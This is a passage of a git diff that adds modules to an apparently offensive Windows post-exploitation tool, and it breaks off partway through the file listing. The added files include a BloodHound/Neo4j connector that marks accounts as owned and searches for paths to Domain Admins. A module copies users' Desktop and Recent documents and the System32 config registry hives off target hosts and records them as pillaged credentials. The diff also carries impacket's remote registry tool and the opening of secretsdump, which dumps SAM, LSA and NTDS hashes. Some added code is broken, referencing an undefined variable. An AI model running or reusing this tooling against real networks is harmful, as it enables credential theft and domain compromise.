self.options.action='QUERY' + self.options.keyName = None + self.options.s = None + self.options.v = None + self.options.ve = None + self.options.target_ip = self.options.target_ip + self.myRegHandler = None + + + def reg_init(self): + self.logging.debug(f"[{self.options.target_ip}] Reg Init") + options=copy.deepcopy(self.options) + self.myRegHandler = RegHandler(self.options.username, self.options.password, self.options.domain, options) + self.logging.debug(f"[{self.options.target_ip}] Reg Handler Initialised Ok") + + def close(self): + if self.myRegHandler is not None : + self.myRegHandler.close() + + def get_reg_value(self,reg_path,reg_key=None): + try: + # self.myRegHandler.__options.action='QUERY' + self.options.keyName = reg_path + self.options.s = False + if reg_key == None: + self.options.v = None + self.options.ve = True + else: + self.options.v = reg_key + self.options.ve = False + + self.reg_init() + self.logging.debug(f"[{self.options.target_ip}] Querying reg : {self.options.keyName}") + #self.myRegHandler=RegHandler(self.options.username, self.options.password, self.options.domain, self.options) + value=self.myRegHandler.run(self.options.target_ip,self.options.target_ip) + return value + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception get_reg_value {bcolors.ENDC}") + self.logging.debug(ex) + + def get_reg_list(self,reg_path): + try: + #self.myRegHandler.__options.action='QUERY' + self.options.keyName = reg_path + self.options.s = True + self.options.v = False + self.options.ve = False + self.reg_init() + self.logging.debug(f"[{self.options.target_ip}] Querying reg : {self.options.keyName}") + #self.myRegHandler=RegHandler(self.options.username, self.options.password, self.options.domain, self.options) + self.myRegHandler.run(self.options.target_ip,self.options.target_ip) + + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception get_reg_list {bcolors.ENDC}") + self.logging.debug(ex) + + +from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA + +class RemoteFile: + def __init__(self, smbConnection, fileName, share='ADMIN$', access = FILE_READ_DATA | FILE_WRITE_DATA ): + self.__smbConnection = smbConnection + self.__share = share + self.__access = access + self.__fileName = fileName + self.__tid = self.__smbConnection.connectTree(share) + self.__fid = None + self.__currentOffset = 0 + + def open(self): + self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess= self.__access) + + def seek(self, offset, whence): + # Implement whence, for now it's always from the beginning of the file + if whence == 0: + self.__currentOffset = offset + + def read(self, bytesToRead): + if bytesToRead > 0: + data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead) + self.__currentOffset += len(data) + return data + return '' + + def close(self): + if self.__fid is not None: + self.__smbConnection.closeFile(self.__tid, self.__fid) + self.__fid = None + + def delete(self): + self.__smbConnection.deleteFile(self.__share, self.__fileName) + + def tell(self): + return self.__currentOffset + + def __str__(self): + return "\\\\{}\\{}\\{}".format(self.__smbConnection.getRemoteHost(), self.__share, self.__fileName) \ No newline at end of file diff --git a/lib/neo4jconnection.py b/lib/neo4jconnection.py new file mode 100644 index 0000000..7faa8c9 --- /dev/null +++ b/lib/neo4jconnection.py @@ -0,0 +1,114 @@ +# Author: +# Romain Bentz (pixis - @hackanddo) +# Website: +# https://beta.hackndo.com + +try: + from neo4j.v1 import GraphDatabase +except ImportError: + from neo4j import GraphDatabase +from neo4j.exceptions import AuthError, ServiceUnavailable + +from lib.defines import * + + +class Neo4jConnection: + class Options: + def __init__(self, host, user, password, port, log, edge_blacklist=None): + self.user = user + self.password = password + self.host = host + self.port = port + self.log = log + self.edge_blacklist = edge_blacklist if edge_blacklist is not None else [] + + def __init__(self, options): + self.user = options.user + self.password = options.password + self.log = options.log + self.edge_blacklist = options.edge_blacklist + self._uri = "bolt://{}:{}".format(options.host, options.port) + try: + self._get_driver() + except Exception as e: + self.log.error("Failed to connect to Neo4J database") + raise + + def set_as_owned(self, username, domain): + user = self._format_username(username, domain) + query = "MATCH (u:User {{name:\"{}\"}}) SET u.owned=True RETURN u.name AS name".format(user) + result = self._run_query(query) + if len(result.value()) > 0: + return ERROR_SUCCESS + else: + return ERROR_NEO4J_NON_EXISTENT_NODE + + def bloodhound_analysis(self, username, domain): + + edges = [ + "MemberOf", + "HasSession", + "AdminTo", + "AllExtendedRights", + "AddMember", + "ForceChangePassword", + "GenericAll", + "GenericWrite", + "Owns", + "WriteDacl", + "WriteOwner", + "CanRDP", + "ExecuteDCOM", + "AllowedToDelegate", + "ReadLAPSPassword", + "Contains", + "GpLink", + "AddAllowedToAct", + "AllowedToAct", + "SQLAdmin" + ] + # Remove blacklisted edges + without_edges = [e.lower() for e in self.edge_blacklist] + effective_edges = [edge for edge in edges if edge.lower() not in without_edges] + + user = self._format_username(username, domain) + + with self._driver.session() as session: + with session.begin_transaction() as tx: + query = """ + MATCH (n:User {{name:\"{}\"}}),(m:Group),p=shortestPath((n)-[r:{}*1..]->(m)) + WHERE m.objectsid ENDS WITH "-512" OR m.objectid ENDS WITH "-512" + RETURN COUNT(p) AS pathNb + """.format(user, '|'.join(effective_edges)) + + self.log.debug("Query : {}".format(query)) + result = tx.run(query) + return ERROR_SUCCESS if result.value()[0] > 0 else ERROR_NO_PATH + + def clean(self): + if self._driver is not None: + self._driver.close() + return ERROR_SUCCESS + + def _run_query(self, query): + with self._driver.session() as session: + with session.begin_transaction() as tx: + return tx.run(query) + + def _get_driver(self): + try: + self._driver = GraphDatabase.driver(self._uri, auth=(self.user, self.password)) + return ERROR_SUCCESS + except AuthError as e: + self.log.error("Neo4j invalid credentials {}:{}".format(self.user, self.password)) + raise + except ServiceUnavailable as e: + self.log.error("Neo4j database unavailable at {}".format(self._uri)) + raise + except Exception as e: + self.log.error("An unexpected error occurred while connecting to Neo4J database {} ({}:{})".format(self._uri, self.user, self.password)) + raise + + @staticmethod + def _format_username(user, domain): + return (user + "@" + domain).upper() \ No newline at end of file diff --git a/lib/new_module.py b/lib/new_module.py new file mode 100644 index 0000000..9a29343 --- /dev/null +++ b/lib/new_module.py @@ -0,0 +1,66 @@ +import ntpath +import LnkParse3 +from lib.toolbox import bcolors +from lib.fileops import MyFileOps + +class new_module(): + def __init__(self,smb,myregops,myfileops,logger,options,db,users): + self.myregops = myregops + self.myfileops = myfileops + self.logging = logger + self.options = options + self.db = db + self.users = users + self.smb = smb + + + def run(self): + self.get_files() + #self.process_files() + #self.decrypt_all() + + def get_files(self): + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering New Module Secrets {bcolors.ENDC}") + blacklist = ['.', '..'] + + user_directories = [("Users\\{username}\\Recent", ('*.xls','*.pdf','*.doc*','*.txt','*.lnk')), + ("Users\\{username}\\Desktop", ('*.xls','*.pdf','*.doc*','*.lnk'))] + machine_directories = [("Windows\\System32\\config\\", '*'),] + + for user in self.users: + self.logging.debug( + f"[{self.options.target_ip}] Looking for {user.username} ") + if user.username == 'MACHINE$': + directories_to_use = machine_directories + else: + directories_to_use = user_directories + + for info in directories_to_use: + my_dir, my_mask = info + tmp_pwd = my_dir.format(username=user.username) + self.logging.debug(f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}") + for mask in my_mask: + my_directory = self.myfileops.do_ls(tmp_pwd, mask, display=False) + for infos in my_directory: + longname, is_directory = infos + self.logging.debug("ls returned file %s" % longname) + if longname not in blacklist and not is_directory: + try: + # Downloading file + localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True) + self.process_file(localfile,user) + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in DownloadFile {localfile}{bcolors.ENDC}") + self.logging.debug(ex) + + + + def process_file(self,localfile,username): + try: + self.db.add_credz(credz_type='XXXXX',credz_username=username.decode('utf-8'),redz_password=ntlm.decode('utf-8'),credz_target='',credz_path=localfile,pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=username) + return 1 + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ProcessFile {localfile}{bcolors.ENDC}") + self.logging.debug(ex) + diff --git a/lib/reg.py b/lib/reg.py new file mode 100644 index 0000000..7806816 --- /dev/null +++ b/lib/reg.py @@ -0,0 +1,444 @@ +#!/usr/bin/env python +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: Remote registry manipulation tool. +# The idea is to provide similar functionality as the REG.EXE Windows utility. +# +# e.g: +# ./reg.py Administrator:password@targetMachine query -keyName HKLM\\Software\\Microsoft\\WBEM -s +# +# Author: +# Manuel Porto (@manuporto) +# Alberto Solino (@agsolino) +# +# Reference for: [MS-RRP] +# +from __future__ import division +from __future__ import print_function +import argparse +import codecs +import logging +import sys +import time +from struct import unpack + +from impacket import version +from impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt +from impacket.examples import logger +from impacket.system_errors import ERROR_NO_MORE_ITEMS +from impacket.structure import hexdump +from impacket.smbconnection import SMBConnection + + +class RemoteOperations: + def __init__(self, smbConnection, doKerberos, kdcHost=None): + self.__smbConnection = smbConnection + self.__smbConnection.setTimeout(5 * 60) + self.__serviceName = 'RemoteRegistry' + self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]' + self.__rrp = None + self.__regHandle = None + + self.__doKerberos = doKerberos + self.__kdcHost = kdcHost + + self.__disabled = False + self.__shouldStop = False + self.__started = False + + self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]' + self.__scmr = None + + def getRRP(self): + return self.__rrp + + def __connectSvcCtl(self): + rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl) + rpc.set_smb_connection(self.__smbConnection) + self.__scmr = rpc.get_dce_rpc() + self.__scmr.connect() + self.__scmr.bind(scmr.MSRPC_UUID_SCMR) + + def connectWinReg(self): + rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) + rpc.set_smb_connection(self.__smbConnection) + self.__rrp = rpc.get_dce_rpc() + self.__rrp.connect() + self.__rrp.bind(rrp.MSRPC_UUID_RRP) + + def __checkServiceStatus(self): + # Open SC Manager + ans = scmr.hROpenSCManagerW(self.__scmr) + self.__scManagerHandle = ans['lpScHandle'] + # Now let's open the service + ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName) + self.__serviceHandle = ans['lpServiceHandle'] + # Let's check its status + ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle) + if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED: + logging.debug('Service %s is in stopped state' % self.__serviceName) + self.__shouldStop = True + self.__started = False + elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING: + logging.debug('Service %s is already running' % self.__serviceName) + self.__shouldStop = False + self.__started = True + else: + raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState']) + + # Let's check its configuration if service is stopped, maybe it's disabled :s + if self.__started is False: + ans = scmr.hRQueryServiceConfigW(self.__scmr, self.__serviceHandle) + if ans['lpServiceConfig']['dwStartType'] == 0x4: + logging.debug('Service %s is disabled, enabling it' % self.__serviceName) + self.__disabled = True + scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType=0x3) + logging.debug('Starting service %s' % self.__serviceName) + scmr.hRStartServiceW(self.__scmr, self.__serviceHandle) + time.sleep(1) + + def enableRegistry(self): + self.__connectSvcCtl() + self.__checkServiceStatus() + self.connectWinReg() + + def __restore(self): + # First of all stop the service if it was originally stopped + if self.__shouldStop is True: + logging.debug('Stopping service %s' % self.__serviceName) + scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP) + if self.__disabled is True: + logging.debug('Restoring the disabled state for service %s' % self.__serviceName) + scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType=0x4) + + def finish(self): + self.__restore() + if self.__rrp is not None: + self.__rrp.disconnect() + if self.__scmr is not None: + self.__scmr.disconnect() + + +class RegHandler: + def __init__(self, username, password, domain, options): + self.__username = username + self.__password = password + self.__domain = domain + self.__options = options + self.__action = options.action.upper() + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = options.aesKey + self.__doKerberos = options.k + self.__kdcHost = options.dc_ip + self.__smbConnection = None + self.__remoteOps = None + + # It's possible that this is defined somewhere, but I couldn't find where + self.__regValues = {0: 'REG_NONE', 1: 'REG_SZ', 2: 'REG_EXPAND_SZ', 3: 'REG_BINARY', 4: 'REG_DWORD', + 5: 'REG_DWORD_BIG_ENDIAN', 6: 'REG_LINK', 7: 'REG_MULTI_SZ', 11: 'REG_QWORD'} + + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + + def connect(self, remoteName, remoteHost): + self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port)) + + if self.__doKerberos: + self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey, self.__kdcHost) + else: + self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + + def close(self): + if self.__remoteOps is not None: + self.__remoteOps.finish() + if self.__smbConnection is not None: + self.__smbConnection.close() + + def run(self, remoteName, remoteHost): + self.connect(remoteName, remoteHost) + self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) + + try: + self.__remoteOps.enableRegistry() + except Exception as e: + logging.debug(str(e)) + logging.warning('Cannot check RemoteRegistry status. Hoping it is started...') + self.__remoteOps.connectWinReg() + + try: + dce = self.__remoteOps.getRRP() + + if self.__action == 'QUERY': + return self.query(dce, self.__options.keyName) + else: + logging.error('Method %s not implemented yet!' % self.__action) + except (Exception, KeyboardInterrupt) as e: + # import traceback + # traceback.print_exc() + logging.debug(str(e)) + finally: + if self.__remoteOps: + self.__remoteOps.finish() + + def query(self, dce, keyName): + # Let's strip the root key + try: + rootKey = keyName.split('\\')[0] + subKey = '\\'.join(keyName.split('\\')[1:]) + except Exception: + raise Exception('Error parsing keyName %s' % keyName) + + if rootKey.upper() == 'HKLM': + ans = rrp.hOpenLocalMachine(dce) + elif rootKey.upper() == 'HKU' or rootKey.upper() == 'HKCU': + ans = rrp.hOpenCurrentUser(dce) + elif rootKey.upper() == 'HKCR': + ans = rrp.hOpenClassesRoot(dce) + else: + raise Exception('Invalid root key %s ' % rootKey) + + hRootKey = ans['phKey'] + try: + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, + samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) + except Exception: + raise Exception('Error hBaseRegOpenKey 2') + + if self.__options.v: + print(keyName) + value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], self.__options.v) + print('\t' + self.__options.v + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', + str(value[1])) + return value + elif self.__options.ve: + print(keyName) + value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], '') + print('\t' + '(Default)' + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1])) + return value + elif self.__options.s: + self.__print_all_subkeys_and_entries(dce, subKey + '\\', ans2['phkResult'], 0) + else: + print(keyName) + self.__print_key_values(dce, ans2['phkResult']) + i = 0 + while True: + try: + key = rrp.hBaseRegEnumKey(dce, ans2['phkResult'], i) + print(keyName + '\\' + key['lpNameOut'][:-1]) + i += 1 + except Exception: + break + # ans5 = rrp.hBaseRegGetVersion(rpc, ans2['phkResult']) + # ans3 = rrp.hBaseRegEnumKey(rpc, ans2['phkResult'], 0) + + def __print_key_values(self, rpc, keyHandler): + i = 0 + while True: + try: + ans4 = rrp.hBaseRegEnumValue(rpc, keyHandler, i) + lp_value_name = ans4['lpValueNameOut'][:-1] + if len(lp_value_name) == 0: + lp_value_name = '(Default)' + lp_type = ans4['lpType'] + lp_data = b''.join(ans4['lpData']) + print('\t' + lp_value_name + '\t' + self.__regValues.get(lp_type, 'KEY_NOT_FOUND') + '\t', end=' ') + self.__parse_lp_data(lp_type, lp_data) + i += 1 + except rrp.DCERPCSessionError as e: + if e.get_error_code() == ERROR_NO_MORE_ITEMS: + break + + def __print_all_subkeys_and_entries(self, rpc, keyName, keyHandler, index): + index = 0 + while True: + try: + subkey = rrp.hBaseRegEnumKey(rpc, keyHandler, index) + index += 1 + ans = rrp.hBaseRegOpenKey(rpc, keyHandler, subkey['lpNameOut'], + samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS) + newKeyName = keyName + subkey['lpNameOut'][:-1] + '\\' + print(newKeyName) + self.__print_key_values(rpc, ans['phkResult']) + self.__print_all_subkeys_and_entries(rpc, newKeyName, ans['phkResult'], 0) + except rrp.DCERPCSessionError as e: + if e.get_error_code() == ERROR_NO_MORE_ITEMS: + break + except rpcrt.DCERPCException as e: + if str(e).find('access_denied') >= 0: + logging.error('Cannot access subkey %s, bypassing it' % subkey['lpNameOut'][:-1]) + continue + elif str(e).find('rpc_x_bad_stub_data') >= 0: + logging.error('Fault call, cannot retrieve value for %s, bypassing it' % subkey['lpNameOut'][:-1]) + return + raise + + @staticmethod + def __parse_lp_data(valueType, valueData): + try: + if valueType == rrp.REG_SZ or valueType == rrp.REG_EXPAND_SZ: + if type(valueData) is int: + print('NULL') + else: + print("%s" % (valueData.decode('utf-16le')[:-1])) + elif valueType == rrp.REG_BINARY: + print('') + hexdump(valueData, '\t') + elif valueType == rrp.REG_DWORD: + print("0x%x" % (unpack(' 1: + print('') + hexdump(valueData, '\t') + else: + print(" NULL") + except: + print(" NULL") + elif valueType == rrp.REG_MULTI_SZ: + print("%s" % (valueData.decode('utf-16le')[:-2])) + else: + print("Unknown Type 0x%x!" % valueType) + hexdump(valueData) + except Exception as e: + logging.debug('Exception thrown when printing reg value %s', str(e)) + print('Invalid data') + pass + + +if __name__ == '__main__': + + # Init the example's logger theme + logger.init() + # Explicitly changing the stdout encoding format + if sys.stdout.encoding is None: + # Output is redirected to a file + sys.stdout = codecs.getwriter('utf8')(sys.stdout) + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help=True, description="Windows Register manipulation script.") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + subparsers = parser.add_subparsers(help='actions', dest='action') + + # A query command + query_parser = subparsers.add_parser('query', help='Returns a list of the next tier of subkeys and entries that ' + 'are located under a specified subkey in the registry.') + query_parser.add_argument('-keyName', action='store', required=True, + help='Specifies the full path of the subkey. The ' + 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' + ' HKU.') + query_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry ' + 'value name that is to be queried. If omitted, all value names for keyName are returned. ') + query_parser.add_argument('-ve', action='store_true', default=False, required=False, help='Queries for the default ' + 'value or empty value name') + query_parser.add_argument('-s', action='store_true', default=False, help='Specifies to query all subkeys and value ' + 'names recursively.') + + # An add command + # add_parser = subparsers.add_parser('add', help='Adds a new subkey or entry to the registry') + + # An delete command + # delete_parser = subparsers.add_parser('delete', help='Deletes a subkey or entries from the registry') + + # A copy command + # copy_parser = subparsers.add_parser('copy', help='Copies a registry entry to a specified location in the remote ' + # 'computer') + + # A save command + # save_parser = subparsers.add_parser('save', help='Saves a copy of specified subkeys, entries, and values of the ' + # 'registry in a specified file.') + + # A load command + # load_parser = subparsers.add_parser('load', help='Writes saved subkeys and entries back to a different subkey in ' + # 'the registry.') + + # An unload command + # unload_parser = subparsers.add_parser('unload', help='Removes a section of the registry that was loaded using the ' + # 'reg load operation.') + + # A compare command + # compare_parser = subparsers.add_parser('compare', help='Compares specified registry subkeys or entries') + + # A export command + # status_parser = subparsers.add_parser('export', help='Creates a copy of specified subkeys, entries, and values into' + # 'a file') + + # A import command + # import_parser = subparsers.add_parser('import', help='Copies a file containing exported registry subkeys, entries, ' + # 'and values into the remote computer\'s registry') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", + help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on ' + 'target parameters. If valid credentials cannot be found, it will use the ones specified ' + 'in the command line') + group.add_argument('-aesKey', action="store", metavar="hex key", + help='AES key to use for Kerberos Authentication (128 or 256 bits)') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store', metavar="ip address", + help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' + 'the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + import re + + domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( + options.target).groups('') + + # In case the password contains '@' + if '@' in remoteName: + password = password + '@' + remoteName.rpartition('@')[0] + remoteName = remoteName.rpartition('@')[2] + + if options.target_ip is None: + options.target_ip = remoteName + + if domain is None: + domain = '' + + if options.aesKey is not None: + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + + password = getpass("Password:") + + regHandler = RegHandler(username, password, domain, options) + try: + regHandler.run(remoteName, options.target_ip) + except Exception as e: + # import traceback + # traceback.print_exc() + logging.error(str(e)) diff --git a/lib/secretsdump.py b/lib/secretsdump.py new file mode 100644 index 0000000..5efe29e --- /dev/null +++ b/lib/secretsdump.py @@ -0,0 +1,2616 @@ +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: Performs various techniques to dump hashes from the +# remote machine without executing any agent there. +# For SAM and LSA Secrets (including cached creds) +# we try to read as much as we can from the registry +# and then we save the hives in the target system +# (%SYSTEMROOT%\\Temp dir) and read the rest of the +# data from there. +# For NTDS.dit we either: +# a. Get the domain users list and get its hashes +# and Kerberos keys using [MS-DRDS] DRSGetNCChanges() +# call, replicating just the attributes we need. +# b. Extract NTDS.dit via vssadmin executed with the +# smbexec approach. +# It's copied on the temp dir and parsed remotely. +# +# The script initiates the services required for its working +# if they are not available (e.g. Remote Registry, even if it is +# disabled). After the work is done, things are restored to the +# original state. +# +# Author: +# Alberto Solino (@agsolino) +# +# References: Most of the work done by these guys. I just put all +# the pieces together, plus some extra magic. +# +# https://github.com/gentilkiwi/kekeo/tree/master/dcsync +# https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html +# https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html +# https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html +# https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13 +# https://code.google.com/p/creddump/ +# https://lab.mediaservice.net/code/cachedump.rb +# https://insecurety.net/?p=768 +# http://www.beginningtoseethelight.org/ntsecurity/index.htm +# https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf +# https://www.passcape.com/index.php?section=blog&cmd=details&id=15 +# +from __future__ import division +from __future__ import print_function +import codecs +import hashlib +import logging +import ntpath +import os +import random +import string +import time +from binascii import unhexlify, hexlify +from collections import OrderedDict +from datetime import datetime +from struct import unpack, pack +from six import b, PY2 + +from impacket import LOG +from impacket import system_errors +from impacket import winregistry, ntlm +from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi +from impacket.dcerpc.v5.dtypes import NULL +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE +from impacket.dcerpc.v5.dcom import wmi +from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \ + VARIANT, VARENUM, DISPATCH_METHOD +from impacket.dcerpc.v5.dcomrt import DCOMConnection, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \ + OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \ + IRemUnknown2, INTERFACE +from impacket.ese import ESENT_DB +from impacket.dpapi import DPAPI_SYSTEM +from impacket.smb3structs import FILE_READ_DATA, FILE_SHARE_READ +from impacket.nt_errors import STATUS_MORE_ENTRIES +from impacket.structure import Structure +from impacket.structure import hexdump +from impacket.uuid import string_to_bin +from impacket.crypto import transformKey +from impacket.krb5 import constants +from impacket.krb5.crypto import string_to_key +try: + from Cryptodome.Cipher import DES, ARC4, AES + from Cryptodome.Hash import HMAC, MD4 +except ImportError: + LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex") + LOG.critical("See https://pypi.org/project/pycryptodomex/") + + +LOG.level = logging.ERROR + +# Structures +# Taken from https://insecurety.net/?p=768 +class SAM_KEY_DATA(Structure): + structure = ( + ('Revision','L',self['SubAuthority'][i*4:i*4+4])[0]) + return ans + +class LSA_SECRET_BLOB(Structure): + structure = ( + ('Length','=0: + if tries >= 3: + raise e + # Stuff didn't finish yet.. wait more + time.sleep(5) + tries += 1 + pass + else: + raise e + else: + break + + def seek(self, offset, whence): + # Implement whence, for now it's always from the beginning of the file + if whence == 0: + self.__currentOffset = offset + + def read(self, bytesToRead): + if bytesToRead > 0: + data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead) + self.__currentOffset += len(data) + return data + return b'' + + def close(self): + if self.__fid is not None: + self.__smbConnection.closeFile(self.__tid, self.__fid) + self.__smbConnection.deleteFile('ADMIN$', self.__fileName) + self.__fid = None + + def tell(self): + return self.__currentOffset + + def __str__(self): + return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName) + +class RemoteOperations: + def __init__(self, smbConnection, doKerberos, kdcHost=None): + self.__smbConnection = smbConnection + if self.__smbConnection is not None: + self.__smbConnection.setTimeout(5*60) + self.__serviceName = 'RemoteRegistry' + self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]' + self.__rrp = None + self.__regHandle = None + + self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]' + self.__samr = None + self.__domainHandle = None + self.__domainName = None + + self.__drsr = None + self.__hDrs = None + self.__NtdsDsaObjectGuid = None + self.__ppartialAttrSet = None + self.__prefixTable = [] + self.__doKerberos = doKerberos + self.__kdcHost = kdcHost + + self.__bootKey = b'' + self.__disabled = False + self.__shouldStop = False + self.__started = False + + self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]' + self.__scmr = None + self.__tmpServiceName = None + self.__serviceDeleted = False + + self.__batchFile = '%TEMP%\\execute.bat' + self.__shell = '%COMSPEC% /Q /c ' + self.__output = '%SYSTEMROOT%\\Temp\\__output' + self.__answerTMP = b'' + + self.__execMethod = 'smbexec' + + def setExecMethod(self, method): + self.__execMethod = method + + def __connectSvcCtl(self): + rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl) + rpc.set_smb_connection(self.__smbConnection) + self.__scmr = rpc.get_dce_rpc() + self.__scmr.connect() + self.__scmr.bind(scmr.MSRPC_UUID_SCMR) + + def __connectWinReg(self): + rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) + rpc.set_smb_connection(self.__smbConnection) + self.__rrp = rpc.get_dce_rpc() + self.__rrp.connect() + self.__rrp.bind(rrp.MSRPC_UUID_RRP) + + def connectSamr(self, domain): + rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr) + rpc.set_smb_connection(self.__smbConnection) + self.__samr = rpc.get_dce_rpc() + self.__samr.connect() + self.__samr.bind(samr.MSRPC_UUID_SAMR) + resp = samr.hSamrConnect(self.__samr) + serverHandle = resp['ServerHandle'] + + resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain) + resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId']) + self.__domainHandle = resp['DomainHandle'] + self.__domainName = domain + + def __connectDrds(self): + stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI, + protocol='ncacn_ip_tcp') + rpc = transport.DCERPCTransportFactory(stringBinding) + rpc.setRemoteHost(self.__smbConnection.getRemoteHost()) + rpc.setRemoteName(self.__smbConnection.getRemoteName()) + if hasattr(rpc, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpc.set_credentials(*(self.__smbConnection.getCredentials())) + rpc.set_kerberos(self.__doKerberos, self.__kdcHost) + self.__drsr = rpc.get_dce_rpc() + self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + if self.__doKerberos: + self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + self.__drsr.connect() + # Uncomment these lines if you want to play some tricks + # This will make the dump way slower tho. + #self.__drsr.bind(samr.MSRPC_UUID_SAMR) + #self.__drsr = self.__drsr.alter_ctx(drsuapi.MSRPC_UUID_DRSUAPI) + #self.__drsr.set_max_fragment_size(1) + # And Comment this line + self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI) + + if self.__domainName is None: + # Get domain name from credentials cached + self.__domainName = rpc.get_credentials()[2] + + request = drsuapi.DRSBind() + request['puuidClientDsa'] = 